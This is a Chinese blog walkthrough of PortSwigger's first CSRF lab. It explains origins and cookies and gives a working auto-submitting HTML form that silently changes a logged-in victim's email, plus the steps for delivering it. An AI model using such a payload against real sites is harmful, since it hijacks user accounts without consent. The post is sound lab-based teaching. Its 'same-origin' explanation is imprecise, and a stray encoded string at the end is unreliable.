CSRF 漏洞实战:PortSwigger 实验室系列(一)—— 利用同源策略劫持用户邮箱

8 阅读3分钟

大家好!今天,我们将解决 PortSwigger Web Security Academy 的第一个 CSRF 实验。让我们开始吧!

理解浏览器如何发送 Cookie

要解决这个实验,你首先需要理解浏览器如何决定是否在发出的请求中包含 Cookie。

浏览器是根据请求的 来源(origin) 来做这个决定的。

如果你是第一次接触“来源”这个术语,这里快速解释一下。以 URL https://example.com 为例:

来源 由三部分组成:

  • 协议:https://
  • 域名:example.com
  • 端口::443 (对于 HTTPS,默认端口是 443,不过大多数浏览器会在地址栏中隐藏它)

重要提示:不要将来源与完整的 URL 混淆。路径查询参数 不影响来源。

当浏览器发现某个请求与关联了 Cookie 的来源匹配时,它会自动将这些 Cookie 附加到请求中。

当然,还有一些额外的规则取决于 Cookie 的属性(例如 DomainSameSiteHttpOnlySecureExpires)。但对于这第一个实验,你只需要了解基本的来源规则即可。

实验描述

我以 wiener 用户身份登录,修改了我的邮箱地址,并捕获了 HTTP 请求。以下是发现的内容:

要更改用户的邮箱地址,应用程序需要向特定端点发送一个 POST 请求,并将新邮箱作为表单参数。

该请求还需要用户的 会话 Cookie 才能成功。

通常情况下,作为攻击者,我们无法获取受害者的 Cookie。但多亏了 CSRF(跨站请求伪造),我们不需要直接获取它们。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body onload="document.getElementById('autoForm').submit();">
    <form id="autoForm" action="https://<YOUR-LAB-ID>.web-security-academy.net/my-account/change-email" method="POST">
        <input type="hidden" name="email" value="csrf@mail.com">
    </form>
</body>
</html>
  1. 更改 <YOUR-LAB-ID>
  2. 进入 Exploit Server
  3. 将有效载荷粘贴到 Body 部分。
  4. 点击 StoreDeliver Exploit to Victim 按钮。

完成这些步骤后,您应该会看到 “恭喜,您解决了这个实验!” 的提示。

发生了什么?

让我们来分解一下:

  1. HTML 有效载荷会自动向更改邮箱的端点发出一个 POST 请求,并附带一个新的邮箱地址。
  2. Exploit Server(由 PortSwigger 提供)托管了这个恶意 HTML。
  3. 当您点击 Deliver 时,模拟的受害者会访问该恶意页面。
  4. 受害者的浏览器执行了隐藏的表单提交。
  5. 尽管我们从未在有效载荷中插入 Cookie,但由于请求是向 同源 发出的,浏览器 自动附加了受害者的会话 Cookie
  6. 由于该请求包含了所需的一切(端点、POST 正文和受害者的会话 Cookie),受害者的邮箱地址在不知情的情况下被更改了。

这个实验展示了 CSRF 最基本的形式。在实际应用中,你通常会遇到以下 CSRF 防御机制

  • Anti-CSRF 令牌
  • SameSite Cookie 属性
  • 双重提交 Cookie
  • 用户交互要求

在接下来的实验中,你将学习攻击者如何试图绕过这些保护措施。

感谢阅读!这是你成功利用的第一个 CSRF 漏洞——恭喜!祝你有愉快的一天! CSD0tFqvECLokhw9aBeRqpNzLTXFlojmzFn6OlyTg9WKci4H6MsXxMTMLM4+xPZvI+gqEUVxuK1rcu6o5ylrLcGMeNyFewiqxrMbH3Ct23rZIRgEmIlehpW98HMg2RIN